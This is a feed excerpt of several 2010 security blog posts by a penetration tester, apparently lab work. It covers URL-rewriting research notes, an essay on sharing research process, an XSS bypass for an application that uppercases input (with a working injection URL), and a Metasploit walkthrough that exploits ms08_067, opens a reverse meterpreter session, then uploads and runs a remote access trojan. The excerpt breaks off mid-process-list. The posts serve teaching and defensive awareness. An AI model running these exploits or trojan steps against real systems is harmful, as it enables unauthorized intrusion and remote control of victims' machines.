&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The PHP code in these files simply spits out the HTTP Server headers key/value pairs to the page. This may prove useful to review, so I'm including it in each page. &lt;br /&gt;&lt;br /&gt;Now that I have the Bar, Inc. "website" in place it’s time to contemplate how to proceed – I have at least &lt;strike&gt;three&lt;/strike&gt; four options:&lt;br /&gt;&lt;em style="font-size: x-small;"&gt;Edit 2010-10-04: I'd neglected to consider the Apache Alias directive. I've added that to the list.&lt;/em&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;I can enable the SymLinks option and create a link from litterbox to sandbox.&lt;/li&gt;&lt;li&gt;I can use mod_rewrite to change requests for litterbox to sandbox.&lt;/li&gt;&lt;li&gt;I can use mod_rewrite to send an HTTP 302 response redirecting requests to the new location.&lt;/li&gt;&lt;li&gt;I can use the Apache &lt;em&gt;Alias&lt;/em&gt; directive to redirect requests to litterbox to a specific path on the file system&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;After considering these for a bit, I decide that leaving a bunch of stale links lying around the directory tree is a BadThing. For similar reasons, I decide not to use the Alias directive, so that future sysadmins don't become confused. Accordingly, I select mod_rewrite as the way to go. (Thankfully, since that’s the whole point of this project ;-)&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Setting up mod_rewrite&lt;/h2&gt;&lt;br /&gt;The first thing I need is for the mod_rewrite module to be loaded in the Apache configuration. How this occurs varies based on the installation of Apache. In Debian it’s extremely simple to accomplish this task, a single command (and later, a reload of the Apache server) will suffice:&lt;br /&gt;&lt;pre&gt;# a2enmod rewrite&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now that the module is enabled, I need to define some rules. This can be done by editing the configuration file that defines the web site. In Debian, this means editing the file &lt;em&gt;/etc/apache2/sites-available/&amp;lt;site-name&amp;gt;&lt;/em&gt;. Because I’m just using the default configuration, I place my changes in &lt;em&gt;/etc/apache2/sites-available/default&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;The syntax for mod_rewrite can be quite complex, and there are some very powerful features that it provides. However, the scenario I set for myself dictates what I need to establish as far as the rewrite rules… that is, I need to change "litterbox" to "sandbox". Configuring this in Apache is easy enough, it looks like this:&lt;br /&gt;&lt;pre&gt;RewriteEngine on&lt;br /&gt;RewriteRule    /litterbox/(.*)  /sandbox/$1&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The first line turns on the RewriteEngine. The second one establishes that I want to replace any instance of "/litterbox/" followed by one or more characters, with "/sandbox/" followed by whatever other characters were present when the request came in.&lt;br /&gt;&lt;br /&gt;That single line should accomplish the goal of my scenario, however I still have one choice left to make: I need to decide whether I should use mod_rewrite to accomplish this task via an HTTP redirect, or to rewrite the requests. &lt;br /&gt;&lt;br /&gt;The difference between these two is not trivial. &lt;br /&gt;Before I go any further, I need to gain a better understanding of how URL rewriting works in Apache.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://cruft.blogspot.com/2010/10/detecting-url-rewriting-part-2.html"&gt;[to be continued]&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-9017706826973673988?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/9017706826973673988/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2010/10/detecting-url-rewriting-part-1.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/9017706826973673988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/9017706826973673988'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2010/10/detecting-url-rewriting-part-1.html' title='Detecting URL Rewriting (part 1)'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-389197728674807216</id><published>2010-10-01T02:49:00.008-04:00</published><updated>2010-10-04T16:21:12.398-04:00</updated><title type='text'>on security research</title><content type='html'>&lt;p&gt;I’ve been pondering URL rewriting for the past couple of days - trying to come up with some way a client of a web site can first: determine if URL rewriting is occurring on a given web server, and second: in cases where it is used, determine what the rewrite rules are.&lt;br /&gt;As I have been thinking about this, it occurred to me that, despite the proliferation of security research whitepapers and blog posts, there is a scarcity of ‘this is the process I went through to do this research’ information out there.&lt;p&gt;&lt;p&gt;There are mountains of articles and documents, with dizzying arrays of statistics and metrics (often intermingled with a fair amount of marketing fluff), and yet most of the whitepapers, and certainly the various conference presentations, simply don’t talk about the process - preferring instead to present the end results.&lt;br /&gt;As security professionals, we gather together at a multitude of conferences where we do a wonderful job displaying all of this shiny data and showing off new marvelous tricks to each other with varying degrees of self-indulgence. Yet most of how we came to have such cool stuff is left out of the picture entirely.&lt;/p&gt;&lt;p&gt;I understand why that is, of course. Simply put, the process is boring! It’s full of failure, and repeatedly throwing things at a wall and observing what happens. Nobody wants to sit in a small room with a couple hundred hackers listening to someone drone on for an hour about how “this didn’t work…and neither did this”, I get that. Added to that is the fact that, in some cases, the research is being done for a corporate (or government) entity. In such a situation, the process may be withheld not from a lack of desire to share on the researcher’s part, but because they are not permitted to do so by the organization for which the work was done. &lt;/p&gt;&lt;p&gt;Despite these reasons, in my opinion it is a disservice to ourselves, to the profession, and to others whom may be interested in performing their own research, when we all we do is deliver an end product in glossy PDF or a shiny PowerPoint presentation. That is simply not research, it’s promotion. Research, in an academic sense, implies documenting the entire process: both success and failure. This is not what I find when I look at the typical infosec industry output.&lt;/p&gt;&lt;p&gt;Accordingly, I’ve decided that I will share &lt;strong&gt;how&lt;/strong&gt; I go about this particular project, and not just release some PDF or tool as a result of it. I’ll post my process here, any notes and thoughts, as well as any code I come up with. (Well, links to code anyway. I’ll probably keep the code itself in github).&lt;/p&gt;&lt;p&gt;One of the reasons I’m doing this is that I expect to fail. =)&lt;/p&gt;&lt;p&gt;As I’ve considered how one can detect URL rewriting, and as I’ve started investigating the details of how it works, my initial thought is that detecting it simply won’t be possible.&lt;/p&gt;&lt;p&gt;If that’s correct, I think it’s important that I present what I tried, along with the fact that ultimately it didn’t work. That’s vital information, in that it prevents someone else from wasting cycles repeating a process that’s already been done.&lt;/p&gt;&lt;p&gt;As well, understanding why something failed may lead to discovering a way to succeed.&lt;/p&gt;&lt;p&gt;OK… this rant being done now, my &lt;a href="http://cruft.blogspot.com/2010/10/detecting-url-rewriting-part-1.html"&gt;next post&lt;/a&gt; will start the process of documenting my research into detecting URL rewriting. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-389197728674807216?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/389197728674807216/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2010/10/on-security-research.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/389197728674807216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/389197728674807216'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2010/10/on-security-research.html' title='on security research'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-2227357915640368877</id><published>2010-05-27T23:31:00.009-04:00</published><updated>2010-05-28T00:24:18.236-04:00</updated><title type='text'>thinking sideways</title><content type='html'>Had an interesting question posed to me today. A web application was using portions of the GET request to create content on a page, and not properly sanitising the input. The result was a web page that was potentially vulnerable to cross-site scripting (XSS). However, there was a catch. The application, while not checking for security risks, was converting the GET request parameters to all uppercase. &lt;br /&gt;&lt;br /&gt;This meant that, since javascript is case sensitive, the usual methods wouldn't work For example you couldn't use document.write(), or alert(), because they were rendered as DOCUMENT.WRITE() or ALERT() instead.&lt;br /&gt;&lt;br /&gt;Here's a quick and dirty PHP script I wrote that mimics this behaviour (note that you will need to have GPC_MAGIC_QUOTES turned off in the php.ini for this to work)&lt;br /&gt;&lt;pre&gt;&amp;lt;?php&lt;br /&gt;   echo '&amp;lt;form name=&amp;quot;testform&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;';&lt;br /&gt;   echo '&amp;lt;select name=&amp;quot;test&amp;quot;&amp;gt;';&lt;br /&gt;   if (isset($_GET['options']) ) {&lt;br /&gt;      echo strtoupper($_GET['options']);&lt;br /&gt;   } else {&lt;br /&gt;      echo '&amp;lt;option value=&amp;quot;empty&amp;quot;&amp;gt;EMPTY&amp;lt;/option&amp;gt;';&lt;br /&gt;   }&lt;br /&gt;   echo '&amp;lt;/select&amp;gt;';&lt;br /&gt;   echo '&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;submit&amp;quot; /&amp;gt;';&lt;br /&gt;   echo '&amp;lt;/form&amp;gt;';&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;To test it out, simply browse to http://yourhost.yourdomain/test.php?options=uppercaseftw&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, the question as a pen tester is, how can I break this?&lt;br /&gt;&lt;br /&gt;Turns out the answer is pretty simple: you simply make your own javascript file, host it on a server somewhere, give it an uppercase file name, and create functions with uppercase names.  &lt;br /&gt;&lt;br /&gt;For example, I created the following XSS() function, in a file named XSS.JS:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;function XSS() {&lt;br /&gt;   alert('xss'); // or whatever&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now, I need to load this code into the page I'm requesting, and then somehow call the XSS() function. I did this by closing the select tag in my &lt;em&gt;options&lt;/em&gt; GET parameter, and providing my own script tag. I then created a link to "foo", and set an onMouseOver event to call the XSS() function.&lt;br /&gt;&lt;br /&gt;Here's what the request URL looks like to exploit this code:&lt;br /&gt;&lt;pre&gt;http://localhost/sandbox/index.php?options=&amp;lt;option value=&amp;quot;number1&amp;quot;&amp;gt;number1&amp;lt;/option&amp;gt;&amp;lt;/select&amp;gt;&amp;lt;script language=&amp;quot;javascript&amp;quot; src=&amp;quot;XSS.JS&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;a href=&amp;quot;foo&amp;quot; onmouseover=&amp;quot;XSS()&amp;quot;&amp;gt;clicky&amp;lt;/a&amp;gt;   &amp;lt;!--&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The result is a nice link that, upon placing the mouse over it, triggers the javascript event which fires off the usual alert box.&lt;br /&gt;&lt;br /&gt;The source code of the resulting page looks like this:&lt;br /&gt;&lt;pre&gt;&amp;lt;form name=&amp;quot;testform&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;select name=&amp;quot;test&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;OPTION VALUE=&amp;quot;NUMBER1&amp;quot;&amp;gt;NUMBER1&amp;lt;/OPTION&amp;gt;&lt;br /&gt;&amp;lt;/SELECT&amp;gt;&lt;br /&gt;&amp;lt;SCRIPT LANGUAGE=&amp;quot;JAVASCRIPT&amp;quot; SRC=&amp;quot;XSS.JS&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;&amp;lt;A HREF=&amp;quot;FOO&amp;quot; ONMOUSEOVER=&amp;quot;XSS()&amp;quot;&amp;gt;CLICKY&amp;lt;/A&amp;gt;   &lt;br /&gt;&amp;lt;!--&amp;lt;/select&amp;gt;&lt;br /&gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;submit&amp;quot; /&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Nothing particularly awesome about this, but it was a situation I'd not come across before, and it took me a minute to figure out a way around it. So I thought I'd share =)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-2227357915640368877?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/2227357915640368877/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2010/05/thinking-sideways.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2227357915640368877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2227357915640368877'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2010/05/thinking-sideways.html' title='thinking sideways'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-994429885307125879</id><published>2010-05-03T18:54:00.003-04:00</published><updated>2010-05-03T21:56:21.384-04:00</updated><title type='text'>on pen testing and fireworks</title><content type='html'>eEye posted a &lt;a href="http://blog.eeye.com/vulnerability-management/penetration-tools-can-be-weapons-in-the-wrong-hands"&gt;blog entry&lt;/a&gt; recently that attempted to compare providing free tools for pen testing to encouraging someone to use fireworks. This post from eEye is actually part of a growing pattern of 'pen test/full disclosure == criminal' BS being tossed around by various companies (notably, each of which perform vulnerability assessments themselves), but I don't have time to fully address my thoughts on that at the moment (hint: there's another post coming later on this topic).&lt;br /&gt;&lt;br /&gt;Specifically, eEye's post makes the following statements:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Penetration tools clearly allow the breaking and entering of systems to prove that vulnerabilities are real, but clearly could be used maliciously to break the law.&lt;br /&gt;&lt;br /&gt;Making these tools readily available is like encouraging people to play with fireworks. Too bold of a statement? I think not. Fireworks can make a spectacular show, but they can also be abused and cause serious damage. In most states, only people licensed and trained are permitted to set off fireworks.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This analogy is flawed for a number of reasons, not least of which is the fact that the statement that most states disallow fireworks to people other than licensed pyrotechnicians is untrue.&lt;br /&gt;&lt;br /&gt;I made a comment to their site about this, but as it has not been approved yet, I'm posting my comment here as well.&lt;br /&gt;&lt;br /&gt;Here's my two bits:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Since you relate the use of free pen test tools to fireworks as an argument, it should probably be pointed out that the majority of states in the US permit consumer fireworks, and only a very few disallow them. See: http://www.cpsc.gov/cpscpub/pubs/012.html&lt;br /&gt;&lt;br /&gt;Perhaps the free pen test tools are “consumer grade” vs. the commercially licensed products that, to follow your analogy, should apparently only be used by licensed professionals (though frankly, I know folks in #metasploit that I trust with these tools more than many CISSPs that I know…)&lt;br /&gt;&lt;br /&gt;Either way, I’m glad these tools are available, and free, and I am as grateful that I can use them as I am for the fond memories I have of lighting off fireworks with my family as a child. There’s something about being out in the field and participating that makes the moment much more enjoyable than simply watching someone else do it for you.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;*update*&lt;br /&gt;eEye has since replaced the entirety of the original post with one that essentially states "ummm... we meant that using free pen testing tools without permission is bad". *sigh*.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-994429885307125879?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blog.eeye.com/vulnerability-management/penetration-tools-can-be-weapons-in-the-wrong-hands' title='on pen testing and fireworks'/><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/994429885307125879/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2010/05/on-pen-testing-and-fireworks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/994429885307125879'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/994429885307125879'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2010/05/on-pen-testing-and-fireworks.html' title='on pen testing and fireworks'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-7164760918273851661</id><published>2010-03-25T12:57:00.004-04:00</published><updated>2010-03-25T14:03:33.450-04:00</updated><title type='text'>Even When You Know You're Pwnd, It's Hard To See</title><content type='html'>I'm playing around with a RAT showdown for a project I'm working on (teaser: It will be a comparison of SharK 3.1, Poison Ivy 2.3.2, and the GPL version of &lt;a href="http://www.immunityinc.com/products-hydrogen.shtml"&gt;Immunity Inc's Hydrogen&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;While doing this, it really hit home how tough it is to tell a host has been owned if it's being done right.&lt;br /&gt;&lt;br /&gt;I know this anyway, having been on the incident response side of things for a number of years, so it's not news really. It's just that every now and then something springs back up from memory and smacks you clear across the face and screams "Oh Yeah!" in a Randy "Macho Man" Savage impression. This was one of those moments for me. &lt;br /&gt;&lt;br /&gt;Let me give an example. I'll do that, by combining it with a "how to use the metasploit framework to upload binaries" overview first.&lt;br /&gt;&lt;br /&gt;So, step 1 is: get MSF3, and run the msfconsole. I'm going to skip that step here, and jump straight to setting the payload we want (meterpreter), and exploiting.&lt;br /&gt;&lt;br /&gt;First, set the payload:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt; msf &gt; setg payload windows/meterpreter/reverse_tcp&lt;br /&gt;payload =&gt; windows/meterpreter/reverse_tcp &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now pick everyone's favorite exploit: ms08_067_netapi&lt;br /&gt;&lt;pre&gt; msf &gt; use exploit/windows/smb/ms08_067_netapi &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Let's take a look at the options:&lt;br /&gt;&lt;pre&gt;msf exploit(ms08_067_netapi) &gt; show options&lt;br /&gt;&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;   Name     Current Setting  Required  Description&lt;br /&gt;   ----     ---------------  --------  -----------&lt;br /&gt;   RHOST                     yes       The target address&lt;br /&gt;   RPORT    445              yes       Set the SMB service port&lt;br /&gt;   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Payload options (windows/meterpreter/reverse_tcp):&lt;br /&gt;&lt;br /&gt;   Name      Current Setting  Required  Description&lt;br /&gt;   ----      ---------------  --------  -----------&lt;br /&gt;   EXITFUNC  thread           yes       Exit technique: seh, thread, process&lt;br /&gt;   LHOST     10.0.1.51        yes       The local address&lt;br /&gt;   LPORT     4444             yes       The local port&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exploit target:&lt;br /&gt;&lt;br /&gt;   Id  Name&lt;br /&gt;   --  ----&lt;br /&gt;   0   Automatic Targeting&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Some of these were set for me via my msfconsole.rc file (specifically, the LHOST setting for the payload.)&lt;br /&gt;Now I pick the target I'll be exploiting, and set it with the RHOST option:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;msf exploit(ms08_067_netapi) &gt; set RHOST 10.0.1.71&lt;br /&gt;RHOST =&gt; 10.0.1.71&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Once that's all set, I can exploit the host:&lt;br /&gt;&lt;pre&gt;msf exploit(ms08_067_netapi) &gt; exploit&lt;br /&gt;&lt;br /&gt;[*] Started reverse handler on 10.0.1.51:4444 &lt;br /&gt;[*] Automatically detecting the target...&lt;br /&gt;[*] Fingerprint: Windows XP Service Pack 2 - lang:English&lt;br /&gt;[*] Selected Target: Windows XP SP2 English (NX)&lt;br /&gt;[*] Triggering the vulnerability...&lt;br /&gt;[*] Sending stage (748032 bytes)&lt;br /&gt;[*] Meterpreter session 1 opened (10.0.1.51:4444 -&gt; 10.0.1.71:1082)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;BAM! I have a meterpreter session (ms08_067 isn't called 'old faithful' for nothing.)&lt;br /&gt;&lt;br /&gt;OK. Pentest done. Next B0x! &lt;/sarcasm&gt;&lt;br /&gt;&lt;br /&gt;Unfortunately, that's too often the case. This is sad really, because there's so much more I can do with this. Like the following ;-)&lt;br /&gt;&lt;br /&gt;Let me start by finding out some information about the session, what privs I have on the host, and what process I'm running under:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt; meterpreter &gt; getuid&lt;br /&gt;Server username: NT AUTHORITY\SYSTEM&lt;br /&gt;&lt;br /&gt;meterpreter &gt; getpid&lt;br /&gt;Current pid: 1108&lt;br /&gt;&lt;br /&gt;meterpreter &gt; ps&lt;br /&gt;&lt;br /&gt;Process list&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt; PID   Name              Arch  Session  User                          Path&lt;br /&gt; ---   ----              ----  -------  ----                          ----&lt;br /&gt; 0     [System Process]                                               &lt;br /&gt; 4     System            x86   0        NT AUTHORITY\SYSTEM           &lt;br /&gt; 632   smss.exe          x86   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe&lt;br /&gt; 680   csrss.exe         x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\csrss.exe&lt;br /&gt; 704   winlogon.exe      x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\winlogon.exe&lt;br /&gt; 748   services.exe      x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\services.exe&lt;br /&gt; 764   lsass.exe         x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\lsass.exe&lt;br /&gt; 940   svchost.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\svchost.exe&lt;br /&gt; 988   svchost.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\svchost.exe&lt;br /&gt; 1108  svchost.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\System32\svchost.exe&lt;br /&gt; 1184  svchost.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\svchost.exe&lt;br /&gt; 1280  svchost.exe       x86   0        NT AUTHORITY\LOCAL SERVICE    C:\WINDOWS\system32\svchost.exe&lt;br /&gt; 1448  spoolsv.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\spoolsv.exe&lt;br /&gt; 1704  explorer.exe      x86   0        VIKTIM2\viktim                C:\WINDOWS\Explorer.EXE&lt;br /&gt; 1860  msdtc.exe         x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\msdtc.exe&lt;br /&gt; 352   mqsvc.exe         x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\mqsvc.exe&lt;br /&gt; 832   mqtgsvc.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\mqtgsvc.exe&lt;br /&gt; 768   alg.exe           x86   0        NT AUTHORITY\LOCAL SERVICE    C:\WINDOWS\System32\alg.exe&lt;br /&gt; 4032  sqlservr.exe      x86   0        NT AUTHORITY\NETWORK SERVICE  c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe&lt;br /&gt; 4052  inetinfo.exe      x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\inetsrv\inetinfo.exe&lt;br /&gt; 4044  dllhost.exe       x86   0        VIKTIM2\IWAM_VIKTIM2          C:\WINDOWS\system32\dllhost.exe&lt;br /&gt; 3692  dllhost.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\dllhost.exe&lt;br /&gt; 3896  IEXPLORE.EXE      x86   0        NT AUTHORITY\SYSTEM           C:\Program Files\Internet Explorer\IEXPLORE.EXE&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Pretty cool. As expected, I'm running as the local system, and have attached to the svchost.exe process (pid# 1108).&lt;br /&gt;&lt;br /&gt;If I look at the current working directory for the session, I see it's the Windows system32 directory:&lt;br /&gt;&lt;pre&gt;meterpreter &gt; pwd&lt;br /&gt;C:\WINDOWS\system32&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;That's all very cool, but for this example, I want to interact with a user session.&lt;br /&gt;Looking at the process list, I see that there's a 'viktim' user logged in and that user is running explorer.exe in process 1704.&lt;br /&gt;&lt;br /&gt;I'm going to try to switch to that process, using the handy migrate function provided by metasploit:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;meterpreter &gt; migrate 1704&lt;br /&gt;[*] Migrating to 1704...&lt;br /&gt;[*] Migration completed successfully.&lt;br /&gt;&lt;br /&gt;meterpreter &gt; getuid&lt;br /&gt;Server username: VIKTIM2\viktim &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Excellent. I've now switched to a process running in the context of my target user.&lt;br /&gt;Let me take a look at what my current directory is now:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;meterpreter &gt; pwd&lt;br /&gt;C:\Documents and Settings\viktim &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;What I want to do now is to upload my malware to the host.&lt;br /&gt;In this case, I'll be uploading a remote access trojan I built using sharK.&lt;br /&gt;I've named the executable msdce32.exe in a sad attempt to be sneaky ;-)&lt;br /&gt;To upload the file to the victim host, I use the upload function in meterpreter:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt; meterpreter &gt; upload msdce32.exe&lt;br /&gt;[*] uploading  : msdce32.exe -&gt; msdce32.exe&lt;br /&gt;[*] uploaded   : msdce32.exe -&gt; msdce32.exe&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Looks like the file upload was successful, so I try running it using the execute command.&lt;br /&gt;This command takes a -f parameter with the filename to execute:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;meterpreter &gt; execute -f msdce32.exe&lt;br /&gt;Process 292 created.&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Very nice. Looking at my sharK console, I see that the process worked, because my victim has now connected to my SIN and I am able to use sharK to interact with it. (That will be a different post entirely, but here's a screenshot of what it looks like. Note that the XP Desktop in the image below is actually a screen capture of the victim host that sharK provides when you mouseover the connection in the SIN):&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_YWhkVQJDZyw/S6uh5b3LCJI/AAAAAAAAAnY/toZhbtgBEho/s1600/shark_01.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 181px;" src="http://2.bp.blogspot.com/_YWhkVQJDZyw/S6uh5b3LCJI/AAAAAAAAAnY/toZhbtgBEho/s320/shark_01.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5452629781965899922" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Since I'm done exploiting my victim user, let me return back to the host and go back to a system process using the getsystem method in meterpreter:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;meterpreter &gt; getsystem&lt;br /&gt;...got system (via technique 1).&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Since I'm back at system, let me see if I can see my trojan running:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;meterpreter &gt; ps&lt;br /&gt;&lt;br /&gt;Process list&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt; PID   Name              Arch  Session  User                          Path&lt;br /&gt; ---   ----              ----  -------  ----                          ----&lt;br /&gt; 0     [System Process]                                               &lt;br /&gt; 4     System            x86   0        NT AUTHORITY\SYSTEM           &lt;br /&gt; 632   smss.exe          x86   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe&lt;br /&gt; 680   csrss.exe         x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\csrss.exe&lt;br /&gt; 704   winlogon.exe      x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\winlogon.exe&lt;br /&gt; 748   services.exe      x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\services.exe&lt;br /&gt; 764   lsass.exe         x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\lsass.exe&lt;br /&gt; 940   svchost.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\svchost.exe&lt;br /&gt; 988   svchost.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\svchost.exe&lt;br /&gt; 1108  svchost.exe       x86   0        NT 